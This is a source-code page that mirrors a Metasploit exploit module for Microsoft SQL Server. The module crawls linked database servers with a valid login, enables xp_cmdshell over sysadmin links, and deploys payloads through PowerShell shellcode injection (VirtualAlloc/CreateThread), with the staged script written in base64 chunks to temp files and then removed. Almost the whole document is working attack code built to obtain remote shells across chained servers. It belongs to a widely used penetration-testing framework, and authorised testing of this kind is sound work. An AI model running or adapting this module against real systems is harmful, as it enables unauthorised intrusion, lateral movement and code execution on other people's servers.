CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/mssql/mssql_linkcrawler.rb
Views: 11783
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GreatRanking
8
9
include Msf::Exploit::Remote::MSSQL
10
include Msf::Auxiliary::Report
11
include Msf::Exploit::CmdStager
12
13
def initialize(info = {})
14
super(update_info(info,
15
'Name' => 'Microsoft SQL Server Database Link Crawling Command Execution',
16
'Description' => %q{
17
This module can be used to crawl MS SQL Server database links and deploy
18
Metasploit payloads through links configured with sysadmin privileges using a
19
valid SQL Server Login.
20
21
If you are attempting to obtain multiple reverse shells using this module we
22
recommend setting the "DisablePayloadHandler" advanced option to "true", and setting
23
up a exploit/multi/handler to run in the background as a job to support multiple incoming
24
shells.
25
26
If you are interested in deploying payloads to specific servers this module also
27
supports that functionality via the "DEPLOYLIST" option.
28
29
Currently, the module is capable of delivering payloads to both 32bit and 64bit
30
Windows systems via powershell memory injection methods based on Matthew Graeber's
31
work. As a result, the target server must have powershell installed. By default,
32
all of the crawl information is saved to a CSV formatted log file and MSF loot so
33
that the tool can also be used for auditing without deploying payloads.
34
},
35
'Author' =>
36
[
37
'Antti Rantasaari <antti.rantasaari[at]netspi.com>',
38
'Scott Sutherland "nullbind" <scott.sutherland[at]netspi.com>'
39
],
40
'Platform' => [ 'win' ],
41
'Arch' => [ ARCH_X86, ARCH_X64 ],
42
'License' => MSF_LICENSE,
43
'References' =>
44
[
45
['URL', 'http://www.slideshare.net/nullbind/sql-server-exploitation-escalation-pilfering-appsec-usa-2012'],
46
['URL','http://msdn.microsoft.com/en-us/library/ms188279.aspx'],
47
['URL','http://www.exploit-monday.com/2011_10_16_archive.html']
48
],
49
'DisclosureDate' => '2000-01-01',
50
'Targets' =>
51
[
52
[ 'Automatic', { } ],
53
],
54
'CmdStagerFlavor' => 'vbs',
55
'DefaultTarget' => 0
56
))
57
58
register_options(
59
[
60
OptBool.new('DEPLOY', [false, 'Deploy payload via the sysadmin links', false]),
61
OptString.new('DEPLOYLIST', [false,'Comma separated list of systems to deploy to']),
62
OptString.new('PASSWORD', [true, 'The password for the specified username'])
63
])
64
65
register_advanced_options(
66
[
67
OptString.new('POWERSHELL_PATH', [true, 'Path to powershell.exe', "C:\\windows\\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe"])
68
])
69
end
70
71
def exploit
72
# Display start time
73
time1 = Time.new
74
print_status("-------------------------------------------------")
75
print_status("Start time : #{time1.inspect}")
76
print_status("-------------------------------------------------")
77
78
# Check if credentials are correct
79
print_status("Attempting to connect to SQL Server at #{rhost}:#{rport}...")
80
81
if !mssql_login_datastore
82
print_error("Invalid SQL Server credentials")
83
print_status("-------------------------------------------------")
84
return
85
end
86
87
# Define master array to keep track of enumerated database information
88
masterList = Array.new
89
masterList[0] = Hash.new # Define new hash
90
masterList[0]["name"] = "" # Name of the current database server
91
masterList[0]["db_link"] = "" # Name of the linked database server
92
masterList[0]["db_user"] = "" # User configured on the database server link
93
masterList[0]["db_sysadmin"] = "" # Specifies if the database user configured for the link has sysadmin privileges
94
masterList[0]["db_version"] = "" # Database version of the linked database server
95
masterList[0]["db_os"] = "" # OS of the linked database server
96
masterList[0]["path"] = [[]] # Link path used during crawl - all possible link paths stored
97
masterList[0]["done"] = 0 # Used to determine if linked need to be crawled
98
99
shelled = Array.new # keeping track of shelled systems - multiple incoming sa links could result in multiple shells on one system
100
101
# Setup query for gathering information from database servers
102
versionQuery = "select @@servername,system_user,is_srvrolemember('sysadmin'),(REPLACE(REPLACE(REPLACE\
103
(ltrim((select REPLACE((Left(@@Version,CHARINDEX('-',@@version)-1)),'Microsoft','')+ rtrim(CONVERT\
104
(char(30), SERVERPROPERTY('Edition'))) +' '+ RTRIM(CONVERT(char(20), SERVERPROPERTY('ProductLevel')))+\
105
CHAR(10))), CHAR(10), ''), CHAR(13), ''), CHAR(9), '')) as version, RIGHT(@@version, LEN(@@version)- 3 \
106
-charindex (' ON ',@@VERSION)) as osver,is_srvrolemember('sysadmin'),(select count(srvname) from \
107
master..sysservers where dataaccess=1 and srvname!=@@servername and srvproduct = 'SQL Server')as linkcount"
108
109
# Create loot table to store configuration information from crawled database server links
110
linked_server_table = Rex::Text::Table.new(
111
'Header' => 'Linked Server Table',
112
'Indent' => 1,
113
'Columns' => ['db_server', 'db_version', 'db_os', 'link_server', 'link_user', 'link_privilege', 'link_version', 'link_os','link_state']
114
)
115
save_loot = ""
116
117
# Start crawling through linked database servers
118
while masterList.any? {|f| f["done"] == 0}
119
# Find the first DB server that has not been crawled (not marked as done)
120
server = masterList.detect {|f| f["done"] == 0}
121
122
# Get configuration information from the database server
123
sql = query_builder(server["path"].first,"",0,versionQuery)
124
result = mssql_query(sql, false) if mssql_login_datastore
125
parse_results = result[:rows]
126
parse_results.each { |s|
127
server["name"] = s[0]
128
server["db_user"] = s[1]
129
server["db_sysadmin"] = s[5]
130
server["db_version"] = s[3]
131
server["db_os"] = s[4]
132
server["numlinks"] = s[6]
133
}
134
if masterList.length == 1
135
print_good("Successfully connected to #{server["name"]}")
136
if datastore['VERBOSE']
137
show_configs(server["name"],parse_results,true)
138
elsif server["db_sysadmin"] == 1
139
print_good("Sysadmin on #{server["name"]}")
140
end
141
end
142
if server["db_sysadmin"] == 1
143
enable_xp_cmdshell(server["path"].first,server["name"],shelled)
144
end
145
146
# If links were found, determine if they can be connected to and add to crawl list
147
if (server["numlinks"] > 0)
148
# Enable loot
149
save_loot = "yes"
150
151
# Select a list of the linked database servers that exist on the current database server
152
print_status("")
153
print_status("-------------------------------------------------")
154
print_status("Crawling links on #{server["name"]}...")
155
# Display number db server links
156
print_status("Links found: #{server["numlinks"]}")
157
print_status("-------------------------------------------------")
158
execute = "select srvname from master..sysservers where dataaccess=1 and srvname!=@@servername and srvproduct = 'SQL Server'"
159
sql = query_builder(server["path"].first,"",0,execute)
160
result = mssql_query(sql, false) if mssql_login_datastore
161
162
result[:rows].each {|name|
163
name.each {|name|
164
165
# Check if link works and if sysadmin permissions - temp array to save orig server[path]
166
temppath = Array.new
167
temppath = server["path"].first.dup
168
temppath << name
169
170
# Get configuration information from the linked server
171
sql = query_builder(temppath,"",0,versionQuery)
172
result = mssql_query(sql, false) if mssql_login_datastore
173
174
# Add newly aquired db servers to the masterlist, but don't add them if the link is broken or already exists
175
if result[:errors].empty? and result[:rows] != nil then
176
# Assign db query results to variables for hash
177
parse_results = result[:rows]
178
179
# Add link server information to loot
180
link_status = 'up'
181
write_to_report(name,server,parse_results,linked_server_table,link_status)
182
183
# Display link server information in verbose mode
184
if datastore['VERBOSE']
185
show_configs(name,parse_results)
186
print_status(" o Link path: #{masterList.first["name"]} -> #{temppath.join(" -> ")}")
187
else
188
if parse_results[0][5] == 1
189
print_good("Link path: #{masterList.first["name"]} -> #{temppath.join(" -> ")} (Sysadmin!)")
190
else
191
print_status("Link path: #{masterList.first["name"]} -> #{temppath.join(" -> ")}")
192
end
193
end
194
195
# Add link to masterlist hash
196
unless masterList.any? {|f| f["name"] == name}
197
masterList << add_host(name,server["path"].first,parse_results)
198
else
199
(0..masterList.length-1).each do |x|
200
if masterList[x]["name"] == name
201
masterList[x]["path"] << server["path"].first.dup
202
masterList[x]["path"].last << name
203
unless shelled.include?(name)
204
if parse_results[0][2]==1
205
enable_xp_cmdshell(masterList[x]["path"].last.dup,name,shelled)
206
end
207
end
208
else
209
break
210
end
211
end
212
end
213
else
214
# Add to report
215
linked_server_table << [server["name"],server["db_version"],server["db_os"],name,'NA','NA','NA','NA','Connection Failed']
216
217
# Display status to user
218
if datastore['VERBOSE']
219
print_status(" ")
220
print_error("Linked Server: #{name} ")
221
print_error(" o Link Path: #{masterList.first["name"]} -> #{temppath.join(" -> ")} - Connection Failed")
222
print_status(" Failure could be due to:")
223
print_status(" - A dead server")
224
print_status(" - Bad credentials")
225
print_status(" - Nested open queries through SQL 2000")
226
else
227
print_error("Link Path: #{masterList.first["name"]} -> #{temppath.join(" -> ")} - Connection Failed")
228
end
229
end
230
}
231
}
232
end
233
# Set server to "crawled"
234
server["done"]=1
235
end
236
237
print_status("-------------------------------------------------")
238
239
# Setup table for loot
240
this_service = nil
241
if framework.db and framework.db.active
242
this_service = report_service(
243
:host => mssql_client.peerhost,
244
:port => mssql_client.peerport,
245
:name => 'mssql',
246
:proto => 'tcp'
247
)
248
end
249
250
# Display end time
251
time1 = Time.new
252
print_status("End time : #{time1.inspect}")
253
print_status("-------------------------------------------------")
254
255
# Write log to loot / file
256
if (save_loot=="yes")
257
filename= "#{mssql_client.peerhost}-#{mssql_client.peerport}_linked_servers.csv"
258
path = store_loot("crawled_links", "text/plain", mssql_client.peerhost, linked_server_table.to_csv, filename, "Linked servers",this_service)
259
print_good("Results have been saved to: #{path}")
260
end
261
end
262
263
# ---------------------------------------------------------------------
264
# Method that builds nested openquery statements using during crawling
265
# ---------------------------------------------------------------------
266
def query_builder(path,sql,ticks,execute)
267
268
# Temp used to maintain the original masterList[x]["path"]
269
temp = Array.new
270
path.each {|i| temp << i}
271
272
# Actual query - defined when the function originally called - ticks multiplied
273
if path.length == 0
274
return execute.gsub("'","'"*2**ticks)
275
276
# openquery generator
277
else
278
sql = "select * from openquery(\"" + temp.shift + "\"," + "'"*2**ticks + query_builder(temp,sql,ticks+1,execute) + "'"*2**ticks + ")"
279
return sql
280
end
281
end
282
283
# ---------------------------------------------------------------------
284
# Method that builds nested openquery statements using during crawling
285
# ---------------------------------------------------------------------
286
def query_builder_rpc(path,sql,ticks,execute)
287
288
# Temp used to maintain the original masterList[x]["path"]
289
temp = Array.new
290
path.each {|i| temp << i}
291
292
# Actual query - defined when the function originally called - ticks multiplied
293
if path.length == 0
294
return execute.gsub("'","'"*2**ticks)
295
296
# Openquery generator
297
else
298
exec_at = temp.shift
299
quotes = "'"*2**ticks
300
sql = "exec(#{quotes}#{query_builder_rpc(temp, sql,ticks + 1, execute)}#{quotes}) at [#{exec_at}]"
301
return sql
302
end
303
end
304
305
# ---------------------------------------------------------------------
306
# Method for adding new linked database servers to the crawl list
307
# ---------------------------------------------------------------------
308
def add_host(name,path,parse_results)
309
310
# Used to add new servers to masterList
311
server = Hash.new
312
server["name"] = name
313
temppath = Array.new
314
path.each {|i| temppath << i }
315
server["path"] = [temppath]
316
server["path"].first << name
317
server["done"] = 0
318
parse_results.each {|stuff|
319
server["db_user"] = stuff.at(1)
320
server["db_sysadmin"] = stuff.at(2)
321
server["db_version"] = stuff.at(3)
322
server["db_os"] = stuff.at(4)
323
server["numlinks"] = stuff.at(6)
324
}
325
return server
326
end
327
328
# ---------------------------------------------------------------------
329
# Method to display configuration information
330
# ---------------------------------------------------------------------
331
def show_configs(i,parse_results,entry=false)
332
333
print_status(" ")
334
parse_results.each {|stuff|
335
336
# Translate syadmin code
337
status = stuff.at(5)
338
if status == 1 then
339
dbpriv = "sysadmin"
340
else
341
dbpriv = "user"
342
end
343
344
# Display database link information
345
if entry == false
346
print_status("Linked Server: #{i}")
347
print_status(" o Link user: #{stuff.at(1)}")
348
print_status(" o Link privs: #{dbpriv}")
349
print_status(" o Link version: #{stuff.at(3)}")
350
print_status(" o Link OS: #{stuff.at(4).strip}")
351
print_status(" o Links on server: #{stuff.at(6)}")
352
else
353
print_status("Server: #{i}")
354
print_status(" o Server user: #{stuff.at(1)}")
355
print_status(" o Server privs: #{dbpriv}")
356
print_status(" o Server version: #{stuff.at(3)}")
357
print_status(" o Server OS: #{stuff.at(4).strip}")
358
print_status(" o Server on server: #{stuff.at(6)}")
359
end
360
}
361
end
362
363
# ---------------------------------------------------------------------
364
# Method for generating the report and loot
365
# ---------------------------------------------------------------------
366
def write_to_report(i,server,parse_results,linked_server_table,link_status)
367
parse_results.each {|stuff|
368
# Parse server information
369
db_link_user = stuff.at(1)
370
db_link_sysadmin = stuff.at(2)
371
db_link_version = stuff.at(3)
372
db_link_os = stuff.at(4)
373
374
# Add link server to the reporting array and set link_status to 'up'
375
linked_server_table << [server["name"],server["db_version"],server["db_os"],i,db_link_user,db_link_sysadmin,db_link_version,db_link_os,link_status]
376
377
return linked_server_table
378
}
379
end
380
381
# ---------------------------------------------------------------------
382
# Method for enabling xp_cmdshell
383
# ---------------------------------------------------------------------
384
def enable_xp_cmdshell(path,name,shelled)
385
# Enables "show advanced options" and xp_cmdshell if needed and possible
386
# They cannot be enabled in user transactions (i.e. via openquery)
387
# Only enabled if RPC_Out is enabled for linked server
388
# All changes are reverted after payload delivery and execution
389
390
# Check if "show advanced options" is enabled
391
execute = "select cast(value_in_use as int) FROM sys.configurations WHERE name = 'show advanced options'"
392
sql = query_builder(path,"",0,execute)
393
result = mssql_query(sql, false) if mssql_login_datastore
394
saoOrig = result[:rows].pop.pop
395
396
# Check if "xp_cmdshell" is enabled
397
execute = "select cast(value_in_use as int) FROM sys.configurations WHERE name = 'xp_cmdshell'"
398
sql = query_builder(path,"",0,execute)
399
result = mssql_query(sql, false) if mssql_login_datastore
400
xpcmdOrig = result[:rows].pop.pop
401
402
# Try blindly to enable "xp_cmdshell" on the linked server
403
# Note:
404
# This only works if rpcout is enabled for all links in the link path.
405
# If that is not the case it fails cleanly.
406
if xpcmdOrig == 0
407
if saoOrig == 0
408
# Enabling show advanced options and xp_cmdshell
409
execute = "sp_configure 'show advanced options',1;reconfigure"
410
sql = query_builder_rpc(path,"",0,execute)
411
result = mssql_query(sql, false) if mssql_login_datastore
412
end
413
414
# Enabling xp_cmdshell
415
print_status("\t - xp_cmdshell is not enabled on " + name + "... Trying to enable")
416
execute = "sp_configure 'xp_cmdshell',1;reconfigure"
417
sql = query_builder_rpc(path,"",0,execute)
418
result = mssql_query(sql, false) if mssql_login_datastore
419
end
420
421
# Verifying that xp_cmdshell is now enabled (could be unsuccessful due to server policies, total removal etc.)
422
execute = "select cast(value_in_use as int) FROM sys.configurations WHERE name = 'xp_cmdshell'"
423
sql = query_builder(path,"",0,execute)
424
result = mssql_query(sql, false) if mssql_login_datastore
425
xpcmdNow = result[:rows].pop.pop
426
427
if xpcmdNow == 1 or xpcmdOrig == 1
428
print_status("\t - Enabled xp_cmdshell on " + name) if xpcmdOrig == 0
429
if datastore['DEPLOY']
430
print_status("Ready to deploy a payload #{name}")
431
if datastore['DEPLOYLIST']==""
432
datastore['DEPLOYLIST'] = nil
433
end
434
if !datastore['DEPLOYLIST'].nil? && datastore["VERBOSE"]
435
print_status("\t - Checking if #{name} is on the deploy list...")
436
end
437
if datastore['DEPLOYLIST'] != nil
438
deploylist = datastore['DEPLOYLIST'].upcase.split(',')
439
end
440
if datastore['DEPLOYLIST'] == nil or deploylist.include? name.upcase
441
if !datastore['DEPLOYLIST'].nil? && datastore["VERBOSE"]
442
print_status("\t - #{name} is on the deploy list.")
443
end
444
unless shelled.include?(name)
445
powershell_upload_exec(path)
446
shelled << name
447
else
448
print_status("Payload already deployed on #{name}")
449
end
450
elsif !datastore['DEPLOYLIST'].nil? && datastore["VERBOSE"]
451
print_status("\t - #{name} is not on the deploy list")
452
end
453
end
454
else
455
print_error("\t - Unable to enable xp_cmdshell on " + name)
456
end
457
458
# Revert soa and xp_cmdshell to original state
459
if xpcmdOrig == 0 and xpcmdNow == 1
460
print_status("\t - Disabling xp_cmdshell on " + name)
461
execute = "sp_configure 'xp_cmdshell',0;reconfigure"
462
sql = query_builder_rpc(path,"",0,execute)
463
result = mssql_query(sql, false) if mssql_login_datastore
464
end
465
if saoOrig == 0 and xpcmdNow == 1
466
execute = "sp_configure 'show advanced options',0;reconfigure"
467
sql = query_builder_rpc(path,"",0,execute)
468
result = mssql_query(sql, false) if mssql_login_datastore
469
end
470
end
471
472
# ----------------------------------------------------------------------
473
# Method that delivers shellcode payload via powershell thread injection
474
# ----------------------------------------------------------------------
475
def powershell_upload_exec(path)
476
477
# Create powershell script that will inject shell code from the selected payload
478
myscript ="$code = @\"
479
[DllImport(\"kernel32.dll\")]
480
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
481
[DllImport(\"kernel32.dll\")]
482
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
483
[DllImport(\"msvcrt.dll\")]
484
public static extern IntPtr memset(IntPtr dest, uint src, uint count);
485
\"@
486
$winFunc = Add-Type -memberDefinition $code -Name \"Win32\" -namespace Win32Functions -passthru
487
[Byte[]]$sc =#{Rex::Text.to_hex(payload.encoded).gsub('\\',',0').sub(',','')}
488
$size = 0x1000
489
if ($sc.Length -gt 0x1000) {$size = $sc.Length}
490
$x=$winFunc::VirtualAlloc(0,0x1000,$size,0x40)
491
for ($i=0;$i -le ($sc.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)}
492
$winFunc::CreateThread(0,0,$x,0,0,0)"
493
494
# Unicode encode powershell script
495
mytext_uni = Rex::Text.to_unicode(myscript)
496
497
# Base64 encode unicode
498
mytext_64 = Rex::Text.encode_base64(mytext_uni)
499
500
# Generate random file names
501
rand_filename = rand_text_alpha(8)
502
var_duplicates = rand_text_alpha(8)
503
504
# Write base64 encoded powershell payload to temp file
505
# This is written 2500 characters at a time due to xp_cmdshell ruby function limitations
506
# Also, line number tracking was added so that duplication lines caused by nested linked
507
# queries could be found and removed.
508
print_status("Deploying payload...")
509
linenum = 0
510
mytext_64.scan(/.{1,2500}/).each {|part|
511
execute = "select 1; EXEC master..xp_cmdshell 'powershell -C \"Write \"--#{linenum}--#{part}\" >> %TEMP%\\#{rand_filename}\"'"
512
sql = query_builder(path,"",0,execute)
513
result = mssql_query(sql, false) if mssql_login_datastore
514
linenum = linenum+1
515
}
516
517
# Remove duplicate lines from temp file and write to new file
518
execute = "select 1;exec master..xp_cmdshell 'powershell -C \"gc %TEMP%\\#{rand_filename}| get-unique > %TEMP%\\#{var_duplicates}\"'"
519
sql = query_builder(path,"",0,execute)
520
result = mssql_query(sql, false) if mssql_login_datastore
521
522
# Remove tracking tags from lines
523
execute = "select 1;exec master..xp_cmdshell 'powershell -C \"gc %TEMP%\\#{var_duplicates} | Foreach-Object {$_ -replace \\\"--.*--\\\",\\\"\\\"} | Set-Content %TEMP%\\#{rand_filename}\"'"
524
sql = query_builder(path,"",0,execute)
525
result = mssql_query(sql, false) if mssql_login_datastore
526
527
# Used base64 encoded powershell command so that we could use -noexit and avoid parsing errors
528
# If running on 64bit system, 32bit powershell called from syswow64
529
powershell_cmd = "$temppath=(gci env:temp).value;$dacode=(gc $temppath\\#{rand_filename}) -join '';if((gci env:processor_identifier).value -like\
530
'*64*'){$psbits=\"#{datastore['POWERSHELL_PATH']} -noexit -noprofile -encodedCommand $dacode\"} else {$psbits=\"powershell.exe\
531
-noexit -noprofile -encodedCommand $dacode\"};iex $psbits"
532
powershell_uni = Rex::Text.to_unicode(powershell_cmd)
533
powershell_64 = Rex::Text.encode_base64(powershell_uni)
534
535
# Setup query
536
execute = "select 1; EXEC master..xp_cmdshell 'powershell -EncodedCommand #{powershell_64}'"
537
sql = query_builder(path,"",0,execute)
538
539
# Execute the playload
540
print_status("Executing payload...")
541
result = mssql_query(sql, false) if mssql_login_datastore
542
# Remove payload data from the target server
543
execute = "select 1; EXEC master..xp_cmdshell 'powershell -C \"Remove-Item %TEMP%\\#{rand_filename}\";powershell -C \"Remove-Item %TEMP%\\#{var_duplicates}\"'"
544
sql = query_builder(path,"",0,execute)
545
result = mssql_query(sql,false)
546
end
547
end
548
549